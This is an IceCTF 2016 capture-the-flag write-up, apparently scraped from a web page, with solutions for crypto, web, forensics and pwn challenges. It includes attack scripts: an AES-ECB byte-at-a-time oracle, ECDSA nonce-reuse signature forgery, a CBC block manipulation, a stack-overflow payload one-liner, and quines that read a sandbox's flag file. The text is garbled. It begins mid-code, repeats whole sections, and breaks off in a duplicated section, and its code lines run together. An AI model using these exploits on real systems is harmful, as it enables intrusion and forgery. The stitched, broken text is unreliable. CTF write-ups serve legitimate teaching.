b=fgetc(f);fclose(f);f=fopen("g","w+");if(b<19){b++;fputc(b,f);}else{f=fopen("flag","r");b=fgetc(f);while(b!=EOF){printf("%c",b);b=fgetc(f);}}fclose(f);printf("const char d[]={");int i;for(i=0;i<sizeof(d);i++){printf("%d,",d[i]);}for(i=0;i<sizeof(d);i++)putchar(d[i]);return 0;}```
Obviously, this did not work. New strategy needed! If we can guess a char of the flag and write the guess to the submitted code, then read the corresponding char from `../../flag.txt` it will accept if and only if they match. So, where do we put our guess? We could put it in a string, but a simpler solution is to write it to a comment. We know that the flag begins with `IceCTF{`, so we can try out our hypothesis and be sure that it is correct. The following code can generate a quine for a certain guess:
```pythonimport sysguess = 'I' # the first char of the flaglength = 1data = '''};#include <stdio.h>int main(){printf("const char d[]={");int i;for(i=0;i<sizeof(d);i++){printf("%d,",d[i]);}for(i=0;i<sizeof(d);i++)putchar(d[i]);FILE *f;f=fopen("../../flag.txt","r");printf("//");for(i=0;i<'''+str(length)+''';i++){char b=fgetc(f);printf("%c",b);};return 0;}'''quine = 'const char d[]={'+''.join(str(ord(c))+',' for c in data) + data.strip('\n')+'//'+guess```
We call it with
```$ python quine_gen.py 1 | cat quine.c | nc quine.vuln.icec.tf 5500...//I```
Now this is where things get interesting! The code obviously works for `I`, but even for incorrect guesses. Also, it prints as many chars of the flag as we like! Seemingly, the server check actually ignores comments, i.e., chars after `//`. So, by setting the read length (`length = sys.argv[1]`) sufficiently large, we can submit auto-generated code as follows:
```$ python quine_gen.py 32 | cat quine.c | nc quine.vuln.icec.tf 5500...//IceCTF{the_flags_of_our_quines}
$ python quine_gen.py 55 | cat quine.c | nc quine.vuln.icec.tf 5501...//IceCTF{my_f1x3d_p0inT_br1nGs_alL_th3_n00bs_t0_th3_y4rD}```
Great! Two challenges solved with two almost identical quines :-D
##Crypto### RSA? (50 p)
```John was messing with RSA again... he encrypted our flag! I have a strong feeling he had no idea what he was doing however, can you get the flag for us? flag.txt```
OK, let us see that `flag.txt` contains
```$ cat flag.txt
N=0x180be86dc898a3c3a710e52b31de460f8f350610bf63e6b2203c08fddad44601d96eb454a34dab7684589bc32b19eb27cffff8c07179e349ddb62898ae896f8c681796052ae1598bd41f35491175c9b60ae2260d0d4ebac05b4b6f2677a7609c2fe6194fe7b63841cec632e3a2f55d0cb09df08eacea34394ad473577dea5131552b0b30efac31c59087bfe603d2b13bed7d14967bfd489157aa01b14b4e1bd08d9b92ec0c319aeb8fedd535c56770aac95247d116d59cae2f99c3b51f43093fd39c10f93830c1ece75ee37e5fcdc5b174052eccadcadeda2f1b3a4a87184041d5c1a6a0b2eeaa3c3a1227bc27e130e67ac397b375ffe7c873e9b1c649812edcd
e=0x1
c=0x4963654354467b66616c6c735f61706172745f736f5f656173696c795f616e645f7265617373656d626c65645f736f5f63727564656c797d
```
John used exponent `0x1`, so m is enevitably the same as c. Therefore, solving this challenge is no harder than `libnum.n2s(c)`, which prints ```IceCTF{falls_apart_so_easily_and_reassembled_so_crudely}```### RSA (60 p)
```This time John managed to use RSA " correctly "&ellipsis; I think he still made some mistakes though. flag.txt ```
Let us take a look...
```$ cat flag.txt
N=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae38c0b9b55c16be0982b596ef929b7c71da3783c1f20557e4803de7d2a91b5a6e85df64249f48b4cf32aec01c12d3e88e014579982ecd046042af370045f09678c9029f8fc38ebaea564c29115e19c7030f245ebb2130cbf9dc1c340e2cf17a625376ca52ad8163cfb2e33b6ecaf55353bc1ff19f8f4dc7551dc5ba36235af9758b
e=0x10001
phi=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae366e86eed95d330ffad22705d24e20f9806ce501dda9768d860c8da465370fc70757227e729b9171b9402ead8275bf55d42000d51e16133fec3ba7393b1ced5024ab3e86b79b95ad061828861ebb71d35309559a179c6be8697f8a4f314c9e94c37cbbb46cef5879131958333897532fea4c4ecd24234d4260f54c4e37cb2db1a0
d=0x12314d6d6327261ee18a7c6ce8562c304c05069bc8c8e0b34e0023a3b48cf5849278d3493aa86004b02fa6336b098a3330180b9b9655cdf927896b22402a18fae186828efac14368e0a5af2c4d992cb956d52e7c9899d9b16a0a07318aa28c8202ebf74c50ccf49a6733327dde111393611f915f1e1b82933a2ba164aff93ef4ab2ab64aacc2b0447d437032858f089bcc0ddeebc45c45f8dc357209a423cd49055752bfae278c93134777d6e181be22d4619ef226abb6bfcc4adec696cac131f5bd10c574fa3f543dd7f78aee1d0665992f28cdbcf55a48b32beb7a1c0fa8a9fc38f0c5c271e21b83031653d96d25348f8237b28642ceb69f0b0374413308481
c=0x126c24e146ae36d203bef21fcd88fdeefff50375434f64052c5473ed2d5d2e7ac376707d76601840c6aa9af27df6845733b9e53982a8f8119c455c9c3d5df1488721194a8392b8a97ce6e783e4ca3b715918041465bb2132a1d22f5ae29dd2526093aa505fcb689d8df5780fa1748ea4d632caed82ca923758eb60c3947d2261c17f3a19d276c2054b6bf87dcd0c46acf79bff2947e1294a6131a7d8c786bed4a1c0b92a4dd457e54df577fb625ee394ea92b992a2c22e3603bf4568b53cceb451e5daca52c4e7bea7f20dd9075ccfd0af97f931c0703ba8d1a7e00bb010437bb4397ae802750875ae19297a7d8e1a0a367a2d6d9dd03a47d404b36d7defe8469```
We have d (and ϕ), so `libnum.n2s(pow(c,d,N))` gives ```IceCTF{rsa_is_awesome_when_used_correctly_but_horrible_when_not}```### RSA2 (60 p)
```I guess the 3rd time is the charm? Or not... flag.txt
$ cat flag.txt
N=0xee290c7a603fc23300eb3f0e5868d056b7deb1af33b5112a6da1edc9612c5eeb4ab07d838a3b4397d8e6b6844065d98543a977ed40ccd8f57ac5bc2daee2dec301aac508f9befc27fae4a2665e82f13b1ddd17d3a0c85740bed8d53eeda665a5fc1bed35fbbcedd4279d04aa747ac1f996f724b14f0228366aeae34305152e1f430221f9594497686c9f49021d833144962c2a53dbb47bdbfd19785ad8da6e7b59be24d34ed201384d3b0f34267df4ba8b53f0f4481f9bd2e26c4a3e95cd1a47f806a1f16b86a9fc5e8a0756898f63f5c9144f51b401ba0dd5ad58fb0e97ebac9a41dc3fb4a378707f7210e64c131bca19bd54e39bbfa0d7a0e7c89d955b1c9f
e=0x10001
c=0x3dbf00a02f924a70f44bdd69e73c46241e9f036bfa49a0c92659d8eb0fe47e42068eaf156a9b3ee81651bc0576a91ffed48610c158dc8d2fb1719c7242704f0d965f8798304925a322c121904b91e5fc5eb3dc960b03eb8635be53b995217d4c317126e0ec6e9a9acfd5d915265634a22a612de962cfaa2e0443b78bdf841ff901423ef765e3d98b38bcce114fede1f13e223b9bd8155e913c8670d8b85b1f3bcb99353053cdb4aef1bf16fa74fd81e42325209c0953a694636c0ce0a19949f343dc229b2b7d80c3c43ebe80e89cbe3a3f7c867fd7cee06943886b0718a4a3584c9d9f9a66c9de29fda7cfee30ad3db061981855555eeac01940b1924eb4c301
```
Looking up N on [factordb.com](http://factordb.com), we find that it has a very small factor 57970027. Hence, we may compute ϕ(N) = (57970027 - 1) × (N / 57970027 - 1). Finally, the secret exponent is d = e⁻¹ mod ϕ(N). Knowning this, we may decrypt c.
The code
```pythonphi = (57970027 - 1) * (N / 57970027 - 1)d = libnum.modular.invmod(e, phi)print libnum.n2s(pow(c, d, N))```
prints
```IceCTF{next_time_check_your_keys_arent_factorable}```
### l33tcrypt (90 p)
```l33tcrypt is a new and fresh encryption service. For added security it pads all information with the flag! Can you get it? nc l33tcrypt.vuln.icec.tf 6001 server.py```
The server AES encrypts a string S along with the flag and some padding and returns the BASE64 encoded, i.e., as outlined below.
```pythondef server(string): ciphertext = encrypt(string + flag + padding) return b64encode(ciphertext)```
The AES encryption function operates on blocks of size 128 bits. Assume that we have a block as follows, where we have padded the plaintext with `AAAAAAAAAAAAAAAA` and where `???...` corresponds to the flag. The last char in the block is the first byte of the flag.
```
... AAAAAAAAAAAAAAAA? ????????????????|----------------|-----------------|----------------|
0xb4ff343...
```
We save the current block value `0xb4ff343...`. Now, we run the guessing procedure:
```
... AAAAAAAAAAAAAAAAx ????????????????|----------------|-----------------|----------------|
x = 'G' 0x57388f8... x = 'H' 0x343409f... X = 'I' 0xb4ff343... <-- correct guess
```
Obviously, we can choose a block `AAAAAAAAAAAAAAA??` and guess the second byte and so forth until the whole flag is found. We may implement it in Python as follows:
```pythonimport base64, socket, string
magic = 'l33tserver please'
def oracle(plaintext): s = socket.create_connection(('l33tcrypt.vuln.icec.tf', 6001)) s.recv(1024) s.recv(1024) s.send(base64.b64encode(magic + plaintext) + '\n') s.recv(1024) return base64.b64decode(s.recv(1024)) known_prefix = 'IceCTF{'
print '[+] Running trying plaintexts...'
while True:
i = 16 * 4 - 2 - len(known_prefix)
reference = oracle(i * 'A')[0:80] for guess in '_' + string.ascii_letters + string.digits + '}': if reference == oracle(i * 'A' + known_prefix + guess)[0:80]: known_prefix = known_prefix + guess print known_prefix break if guess == '}': print '[+] DONE!' break```
The code takes some time to run (could be threaded for improved performance). When it is done, it will have given the flag ```IceCTF{unleash_th3_Blocks_aNd_find_what_you_seek}```### Over the Hill (65 p)
```Over the hills and far away... many times I've gazed, many times been bitten. Many dreams come true and some have silver linings, I live for my dream of a decrypted flag. crypted ```
We are given a matrix and a ciphertext
```pythonsecret = [[54, 53, 28, 20, 54, 15, 12, 7], [32, 14, 24, 5, 63, 12, 50, 52], [63, 59, 40, 18, 55, 33, 17, 3], [63, 34, 5, 4, 56, 10, 53, 16], [35, 43, 45, 53, 12, 42, 35, 37], [20, 59, 42, 10, 46, 56, 12, 61], [26, 39, 27, 59, 44, 54, 23, 56], [32, 31, 56, 47, 31, 2, 29, 41]] ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"```
Looks like a Hill cipher... the name vaguely suggests it... :-)
```python
import numpyfrom sage.all import *
alphabet = ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789_{}")n = len(alphabet)
Zn = IntegerModRing(n)
secret = [[54, 53, 28, 20, 54, 15, 12, 7], [32, 14, 24, 5, 63, 12, 50, 52], [63, 59, 40, 18, 55, 33, 17, 3], [63, 34, 5, 4, 56, 10, 53, 16], [35, 43, 45, 53, 12, 42, 35, 37], [20, 59, 42, 10, 46, 56, 12, 61], [26, 39, 27, 59, 44, 54, 23, 56], [32, 31, 56, 47, 31, 2, 29, 41]]
secret = matrix(Zn, secret).inverse()ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"
blocks = [ciphertext[i : i + secret.ncols()] for i in range(0, len(ciphertext), secret.ncols())]
plaintext = ''
for block in blocks: decrypted_block = secret * matrix(Zn, [alphabet.find(c) for c in block]).transpose() plaintext += ''.join(alphabet[int(i[0])] for i in decrypted_block) print plaintext
```
Invoked with `sage -python over_the_hill.py` gives ```IceCTF{linear_algebra_plus_led_zeppelin_are_a_beautiful_m1xture}```### Round Rabins (70 p)
Breaking Rabin cryptosystem is hard if the primes were chosen properly. This is probably the flaw here, or the challenge would be computationally hard. Lets try [factordb.com](http://factordb.com). It reports that `N` is square. OK, great.
```python
import libnum
N = 0x6b612825bd7972986b4c0ccb8ccb2fbcd25fffbadd57350d713f73b1e51ba9fc4a6ae862475efa3c9fe7dfb4c89b4f92e925ce8e8eb8af1c40c15d2d99ca61fcb018ad92656a738c8ecf95413aa63d1262325ae70530b964437a9f9b03efd90fb1effc5bfd60153abc5c5852f437d748d91935d20626e18cbffa24459d786601c = 0xd9d6345f4f961790abb7830d367bede431f91112d11aabe1ed311c7710f43b9b0d5331f71a1fccbfca71f739ee5be42c16c6b4de2a9cbee1d827878083acc04247c6e678d075520ec727ef047ed55457ba794cf1d650cbed5b12508a65d36e6bf729b2b13feb5ce3409d6116a97abcd3c44f136a5befcb434e934da16808b0b
x = libnum.common.nroot(N, 2)assert(N == x ** 2)
```
The code passes, so we are fine. Now, how do we solve a modular square root in squared prime modulus x²? First of all, we can solve the simpler problem in the smaller field Zₓ. We can use for instance PARI/GP `factor(x^2 - Mod(c%p,p))`. We now have the square roots
```pythonm1 = 1197994153960868322171729195459307471159014839759650672537999577796225328187763637327668629736211144613889331673398920144625276893868173955281904541942494m2 = p - m1```
We now need to lift it to square modulus, i.e., m₁ mod x². We achieve this as follows
```pythonq = (c - m1 ** 2) / pl = q * libnum.modular.invmod(2 * m1, p)m = m1 + l * p
print libnum.n2s(m % N)```
Running this, we get the flag```IceCTF{john_needs_to_get_his_stuff_together_and_do_things_correctly}```### Contract (130 p)
```Our contractors stole the flag! They put it on their file server and challenged us to get it back. Can you do it for us? nc contract.vuln.icec.tf 6002 server.py. We did intercept someone connecting to the server though, maybe it will help. contract.pcapng ```
This is clearly a nonce reuse, which leads to a standard attack. First, we compute the secret value k = (z₁ - z2) × (s₁ - s2)⁻¹ using a signature pair. Then, using a single signature in conjunction with k, we may find d = (s₁ × k - z₁) × (r₁)⁻¹. All modular operations are performed mod n.Embodied in Python, the attack is performed as follows.
```pythonimport hashlib, libnum, binascii, socketfrom ecdsa import VerifyingKey, SigningKey
def send(message): s = socket.create_connection(('contract.vuln.icec.tf', 6002)) s.send(message + '\n') print s.recv(1024) print s.recv(1024) return
PUBLIC_KEY = '''-----BEGIN PUBLIC KEY-----MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEgTxPtDMGS8oOT3h6fLvYyUGq/BWeKiCBsQPyD0+2vybIT/Xdl6hOqQd74zr4U2dkj+2q6+vwQ4DCB1X7HsFZ5JczfkO7HCdYI7sGDvd9eUias/xPdSIL3gMbs26b0Ww0-----END PUBLIC KEY-----'''
vk = VerifyingKey.from_pem(PUBLIC_KEY.strip())n = vk.pubkey.order
help_cmd = 'help:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156cfd7287caf75247c9a32e52ab8260e7ff1e46e55594aea88731bee163035f9ee31f2c2965ac7b2cdfca6100d10ba23826'time_cmd = 'time:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156c0cbebcec222f83dc9dd5b0d4d8e698a08ddecb79e6c3b35fc2caaa4543d58a45603639647364983301565728b504015d'read_flag_cmd = 'read flag.txt'
msg1, sig1 = help_cmd.split(':')msg2, sig2 = time_cmd.split(':')z1 = int(hashlib.sha256(msg1).hexdigest(), 16)z2 = int(hashlib.sha256(msg2).hexdigest(), 16)r1 = int(sig1[0 : len(sig1)/2], 16)s1 = int(sig1[len(sig1)/2 : len(sig1)], 16)r2 = int(sig2[0 : len(sig2)/2], 16)s2 = int(sig2[len(sig2)/2 : len(sig2)], 16)
k = libnum.modular.invmod(s1 - s2, n) * (z1 - z2) % nd = (s1 * k - z1) * libnum.modular.invmod(r1, n) % nsk = SigningKey.from_secret_exponent(d, curve=vk.curve)
send(read_flag_cmd + ':' + binascii.hexlify(sk.sign(read_flag_cmd, hashfunc=hashlib.sha256)))```
Once run, the server responds ```IceCTF{a_f0rged_signatur3_is_as_g00d_as_a_real_1}```
### Flagstaff (160 p)
```Someone hid his flag here... guess we better give up.
nc flagstaff.vuln.icec.tf 6003 server.py ```
The task is to find a ciphertext which decrypts to `flag` + padding.
```pythonimport socket, base64
def send(commands): s = socket.create_connection(('flagstaff.vuln.icec.tf', 6003)) s.recv(1024) print s.recv(1024) for cmd in commands: print '>> Sending:', cmd s.send(cmd + '\n') data = s.recv(1024).strip('\n') s.recv(1024) return data
data = 'flag' + '\x0c' * 0xcencrypted = send(['decrypt', base64.b64encode(data + data)])c = base64.b64decode(encrypted)[0:16]data = send(['secret', base64.b64encode(c + data)])data = send(['decrypt', data])print 'FLAG:', base64.b64decode(data)```
Running the code, we get
```Send me a command: >> Sending: decrypt>> Sending: ZmxhZwwMDAwMDAwMDAwMDGZsYWcMDAwMDAwMDAwMDAw=Send me a command: >> Sending: secret>> Sending: gaugSIvRkYtiHvaA8LepemZsYWcMDAwMDAwMDAwMDAw=Send me a command: >> Sending: decrypt>> Sending: ZEkWhSKVwJ/Z8MQYzdMH6ZaHqAcoEKg4GxKzlHc7I4tDmi5tKnPGE3rm/D5ZJpHbHuxv8yNCNqLVU0g7yOSi7Ic3xgP7Ke7kEADYzQQGtsc=FLAG: IceCTF{reverse_all_the_blocks_and_get_to_the_meaning_behind}```
### Attack of the Hellman! (200 p)
```We managed to intercept a flag transmission but it was encrypted :(. We got the Diffie-Hellman public key exchange parameters and some scripts they used for the transmission along with the encrypted flag.
Can you get it for us? ````
According to the scripts, the secret A is generated properly. What about B? If it is small enough (say, less than N), we can use a time-memory trade-off (or meet-in-the-middle). Such a trade-off requires O(√N) time and the same magnitude of memory.
```pythonimport base36
p=0x113b7d158a909efadc7216ca15fd51c419eb41ab108e0aa1d45da70c78185593d44bdb402476181c008ef36bc5378b0ad4c868ca4ed4f754c3c1b1f0891bcd8ad7d3db07251de90f4362cb5895f836eec8851d3fe3d68083db8a63053ec4078a55df017f1d43393f3aa2a453bb334417671731731e1e7687c77d104ff76aed523b6980831a4c4b55d74c4de77462d9a596ce7fcb3090d0abb8f94989c1b3701e533ebd722c855fba9ff17d64ce9b3306841157ee49b1c1fb3a38c93b9faaa84efcfdceba923b73b8682835ca322a1350bcc322d7eb34259d8302f55157c2c5d72c8aebb7b57f9f08809ee034258cf2e3c8e0982a155b72fdc79432eceb83b49d9g=0xa9074b6e6d5bba3d024b90eeaee1f5b969fee32c5c25b91698755450509a8beb4100b046c9c6601981e208bc6e505aa67fdd224eff829a8cd8ebc1267c2cb4192b18ab1bcf5dba908e2cd849be038b5d52d5cf836eed63ee54fab1838a7152361a298bbeab3cc2d6f2b84097622fa5493dca99b4b6a648dcc886b607a8dc9590d995cf2e1f24ac5f277a2260d34410dc3b832ed6dc4928e92dfa8a807ddbdf77574d7bb34a45ca08bb7c8b89aa1fd1380abcbd75f99d3e819da9617356b650f9cc21ccffe913b09ca547967bb12feedbdb97730ccff09cc63aab6f6fc7b33392211da29bf32538b38a514cad4ea271e97618e39b0ab7cb152499093b7afbae2fA=0x18776a5cf81fc30572aa9682dfb2f7d606e8073de536853dd9be8a391261dcca6cebea2a2b1337f2a057d238152729cea6983a8ef2b111d8096f212db771229830e2e6d4839a37355d4efb265183f199cd573fa99a38183e7ee3cc7fdac7c92078b6c1535b142965379f1c7e73d5a95725dfb75749529a687bf9b7e01a0b4511a05d96999608c2527a0308f2360d26706233d451f62edc8f2e76fde85c631b601d12a828657efe65aba78fccd46d79a84bc3380da71fad6472d9e666fd99fbd7c154555501b608d4cef875099e037eef3712a5e3108f95c1e01b2a8f0961569c77738a459b65b0ac39109b30ab3226d7b92a1db080a99bbb86f6e96266b13df7B=0xbecd8332380e8c0f3969602e4924473ade119dad5fe6f2d9582dc8196ae85dfa80fab3c001f8bea1ca6c63b9f8f264742beaede2bd11c86bf4d6a0fa7df1dd84da318a7142f2228dbb8dd37a5a3c5a772dd2c744184a41743f4286ba2ccfa431c1571cd63a9ee1bb398b4dd09ccaa426b37f72f4452c2f37a96634e8d6604362e2836891818e9744f00323ade93e10aa1785cc1865fff57ec5caacf74b11ebed16384613145a2e33141a9523252b952cf0eb9c33914d067b66a2a03133f044f336efee054eec905dfa14af970f556b44c52e3814e0914a2393bb56da5aca7b88c45fcaf02f76fc9718746c15901b8ea86801f0b07eca7385dd1cb6991e65e421
table = {}S = 0
print '[-] Generating table...'
for i in range(0, 2**33, 2**20): # sufficient bounds table[pow(g, i, p)] = i
print '[-] Performing look-up in table...'
for i in range(0, 2**18): B = (B * g) % p if B in table: print ' >> B = g ^', table[B] - i S = pow(A, table[B] - i, p) break
print '[+] Key found:\n\n', base36.dumps(S), '\n'```
I saved the code as `hellman.py` and did the following terminal magic:
```$ python hellman.py [-] Generating table...[-] Performing look-up in table... >> B = g ^ 4856995548[+] Key found:
1kqgc7f6xza9dbakto3h58hin09x7pbh28tb288r4xrrrdshcymf6c5pgt03kfirpvc75aboptmn6qzuga4ka753wz5w0sokp1i8u787qklcecnhd0wp2l6i73wesuxsl958vsmobt0e4b24mycgk9e65vkk5xxp4es6hujivdgxonn5dsvb0y5hh5aj59vshz088981qccgzecq3xkg2hdpmbjntbrmd4zsdxfsl8kweabbt0a8n6bgaqafo2e1nibo74c28iaoi7r25k1l7y3sjec040ao54bdwtoohevijf8jc9n94h16kgr1fbzy15eoiu6j49pifo8qeu927ns34iq5409ws41iahkchnofhqjai2r7bpfsen9vwofpckwdsbjovinzn
$ openssl aes-256-cbc -a -d -in flag.enc -out flag.txtenter aes-256-cbc decryption password: [key]$ cat flag.txtIceCTF{cover_your_flags_in_mayonnaise_and_primes_guys}```
Great :-)
# Conclusion
This was a fun CTF, perfect for beginners. Good diversity and entertaining problems, no complicated problems that require no though and only large amounts of work or guessing. Some quirks with unintended vulnerabilities in some challenges along they way, but the organizers did a good job. |
# IceCTF Solutions
This page contains some of the challenges I solved during IceCTF '16.
## Reconnaissance & Forensics### Complacement (40 p)
```These silly bankers have gotten pretty complacent with their self signed SSL certificate. I wonder if there's anything in there. [complacent.vuln.icec.tf]```
### Time Traveler (45 p)
```I can assure you that the flag was on this website (http://time-traveler.icec.tf) at some point in time. ```
Let us try the Wayback Machine!
### Audio problems (45 p)```We intercepted this audio signal, it sounds like there could be something hidden in it. Can you take a look and see if you can find anything? ```
In Audacity, we can get the spectrum:
Feels like I've solved this very same problem a couple of times now... get creative problem makers!
##Web### Toke (45 p)
I have a feeling they were pretty high when they made this [website](http://toke.vuln.icec.tf)...
We create an account and look at the tokens. There is a `jwt_token`, containing
```eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnIjoiSWNlQ1RGe2pXN190MEszbnNfNFJlX25PX3AxNENFX2ZPUl81M0NyRTdTfSIsInVzZXIiOiIxMjM0YWEifQ.tfe4bqNnoRb2OOd7KV88qov5Y6oe55Cs2knKLo28Z7s```
Let us decode it! Among other things, we get ```IceCTF{jW7_t0K3ns_4Re_nO_p14CE_fOR_53CrE7S}```### Kitty (80 p)
```They managed to secure their website this time and moved the hashing to the server :(.We managed to leak this hash of the admin's password though!
c7e83c01ed3ef54812673569b2d79c4e1f6554ffeb27706e98c067de9ab12d1a.
Can you get the flag? [kitty.vuln.icec.tf]```
OK, trying the most simple and obvious... reversing the hash works! The password is `Vo83*`. If we login as `admin` with the password we found, we see:
```Your flag is: IceCTF{i_guess_hashing_isnt_everything_in_this_world}```##Pwn### Demo (55 p)
```I found this awesome premium shell, but my demo version just ran out... can you help me crack it? /home/demo/ on the shell. ```
This is probably not the intended solution. Trying to execute `_=icesh && ./demo` does not work in `zsh`, but it does in `sh`. This requires no spoofing for `argv[0]`, and thus no execve code. Less work!
```[ctf-67751@icectf-shell-2016 /home/demo]$ sh$ _=icesh && ./demo$ cat flag.txtIceCTF{wH0_WoU1d_3vr_7Ru5t_4rgV}```
### Smashing Profit! (60 p)
```Do you think you can make this program jump to somewhere it isn't supposed to? Where we're going we don't need buffers!
/home/profit/ on the shell. ```
OK, let us go to the shell. Not surprisingly, `profit` suffers from a buffer overflow. Loading the binary into Hopper, we see that there is a subroutine @ `0x804850b` which would be suitable to call:
Here is how to exploit the buffer overflow to call the above function:
```[ctf-67751@icectf-shell-2016 /home/profit]$ python -c 'print "A"*76 + "\x08\x04\x85\x0b"[::-1]' | ./profitSmashing the stack for fun and...?IceCTF{who_would_have_thunk?}[1] 25262 done python -c 'print "A"*76 + "\x08\x04\x85\x0b"[::-1]' | 25263 segmentation fault ./profit```
### Quine I/II (90p / 125p)
This was a really entertaining challenge. The first idea was based on a false assumption, i.e., that the outputted code in the final iteration was not checked. Let us sketch the idea anyways. If we are able to store some data outside the code, we are able to count the iterations without altering the code. The stored data could be in an environment variable (but that turned out to be infeasible) or a file (we could create, read and write files in the sandbox where the code was running).
So, in pseudo code:
```pythonif 'some_file' exists: c = read('some_file') c += 1 if c < 19: print flag with system() call write('some_file', c)else: create('some_file') write('some_file', 0)```We noticed that the code is located in `./sandbox/[random token]-[time]`, so maybe the flag is `../../flag.txt`. This is of course a guess (which turns out to be correct). Encoding the above pseudo code as a quine, we get something like
```cconst char d[]={125,59,10,35,105,110,99,108,117,100,101,32,60,115,116,100,105,111,46,104,62,10,105,110,116,32,109,97,105,110,40,41,123,70,73,76,69,32,42,102,59,102,61,102,111,112,101,110,40,34,103,34,44,34,114,98,43,34,41,59,105,102,40,102,61,61,78,85,76,76,41,102,61,102,111,112,101,110,40,34,103,34,44,34,119,98,34,41,59,99,104,97,114,32,98,61,102,103,101,116,99,40,102,41,59,102,99,108,111,115,101,40,102,41,59,102,61,102,111,112,101,110,40,34,103,34,44,34,119,43,34,41,59,105,102,40,98,60,49,57,41,123,98,43,43,59,102,112,117,116,99,40,98,44,102,41,59,125,101,108,115,101,123,102,61,102,111,112,101,110,40,34,102,108,97,103,34,44,34,114,34,41,59,98,61,102,103,101,116,99,40,102,41,59,119,104,105,108,101,40,98,33,61,69,79,70,41,123,112,114,105,110,116,102,40,34,37,99,34,44,98,41,59,98,61,102,103,101,116,99,40,102,41,59,125,125,102,99,108,111,115,101,40,102,41,59,112,114,105,110,116,102,40,34,99,111,110,115,116,32,99,104,97,114,32,100,91,93,61,123,34,41,59,105,110,116,32,105,59,102,111,114,40,105,61,48,59,105,60,115,105,122,101,111,102,40,100,41,59,105,43,43,41,123,112,114,105,110,116,102,40,34,37,100,44,34,44,100,91,105,93,41,59,125,102,111,114,40,105,61,48,59,105,60,115,105,122,101,111,102,40,100,41,59,105,43,43,41,112,117,116,99,104,97,114,40,100,91,105,93,41,59,114,101,116,117,114,110,32,48,59,125,10,};#include <stdio.h>int main(){FILE *f;f=fopen("g","rb+");if(f==NULL)f=fopen("g","wb");char b=fgetc(f);fclose(f);f=fopen("g","w+");if(b<19){b++;fputc(b,f);}else{f=fopen("flag","r");b=fgetc(f);while(b!=EOF){printf("%c",b);b=fgetc(f);}}fclose(f);printf("const char d[]={");int i;for(i=0;i<sizeof(d);i++){printf("%d,",d[i]);}for(i=0;i<sizeof(d);i++)putchar(d[i]);return 0;}```
Obviously, this did not work. New strategy needed! If we can guess a char of the flag and write the guess to the submitted code, then read the corresponding char from `../../flag.txt` it will accept if and only if they match. So, where do we put our guess? We could put it in a string, but a simpler solution is to write it to a comment. We know that the flag begins with `IceCTF{`, so we can try out our hypothesis and be sure that it is correct. The following code can generate a quine for a certain guess:
```pythonimport sysguess = 'I' # the first char of the flaglength = 1data = '''};#include <stdio.h>int main(){printf("const char d[]={");int i;for(i=0;i<sizeof(d);i++){printf("%d,",d[i]);}for(i=0;i<sizeof(d);i++)putchar(d[i]);FILE *f;f=fopen("../../flag.txt","r");printf("//");for(i=0;i<'''+str(length)+''';i++){char b=fgetc(f);printf("%c",b);};return 0;}'''quine = 'const char d[]={'+''.join(str(ord(c))+',' for c in data) + data.strip('\n')+'//'+guess```
We call it with
```$ python quine_gen.py 1 | cat quine.c | nc quine.vuln.icec.tf 5500...//I```
Now this is where things get interesting! The code obviously works for `I`, but even for incorrect guesses. Also, it prints as many chars of the flag as we like! Seemingly, the server check actually ignores comments, i.e., chars after `//`. So, by setting the read length (`length = sys.argv[1]`) sufficiently large, we can submit auto-generated code as follows:
```$ python quine_gen.py 32 | cat quine.c | nc quine.vuln.icec.tf 5500...//IceCTF{the_flags_of_our_quines}
$ python quine_gen.py 55 | cat quine.c | nc quine.vuln.icec.tf 5501...//IceCTF{my_f1x3d_p0inT_br1nGs_alL_th3_n00bs_t0_th3_y4rD}```
Great! Two challenges solved with two almost identical quines :-D
##Crypto### RSA? (50 p)
```John was messing with RSA again... he encrypted our flag! I have a strong feeling he had no idea what he was doing however, can you get the flag for us? flag.txt```
OK, let us see that `flag.txt` contains
```$ cat flag.txt
N=0x180be86dc898a3c3a710e52b31de460f8f350610bf63e6b2203c08fddad44601d96eb454a34dab7684589bc32b19eb27cffff8c07179e349ddb62898ae896f8c681796052ae1598bd41f35491175c9b60ae2260d0d4ebac05b4b6f2677a7609c2fe6194fe7b63841cec632e3a2f55d0cb09df08eacea34394ad473577dea5131552b0b30efac31c59087bfe603d2b13bed7d14967bfd489157aa01b14b4e1bd08d9b92ec0c319aeb8fedd535c56770aac95247d116d59cae2f99c3b51f43093fd39c10f93830c1ece75ee37e5fcdc5b174052eccadcadeda2f1b3a4a87184041d5c1a6a0b2eeaa3c3a1227bc27e130e67ac397b375ffe7c873e9b1c649812edcd
e=0x1
c=0x4963654354467b66616c6c735f61706172745f736f5f656173696c795f616e645f7265617373656d626c65645f736f5f63727564656c797d
```
John used exponent `0x1`, so m is enevitably the same as c. Therefore, solving this challenge is no harder than `libnum.n2s(c)`, which prints ```IceCTF{falls_apart_so_easily_and_reassembled_so_crudely}```### RSA (60 p)
```This time John managed to use RSA " correctly "&ellipsis; I think he still made some mistakes though. flag.txt ```
Let us take a look...
```$ cat flag.txt
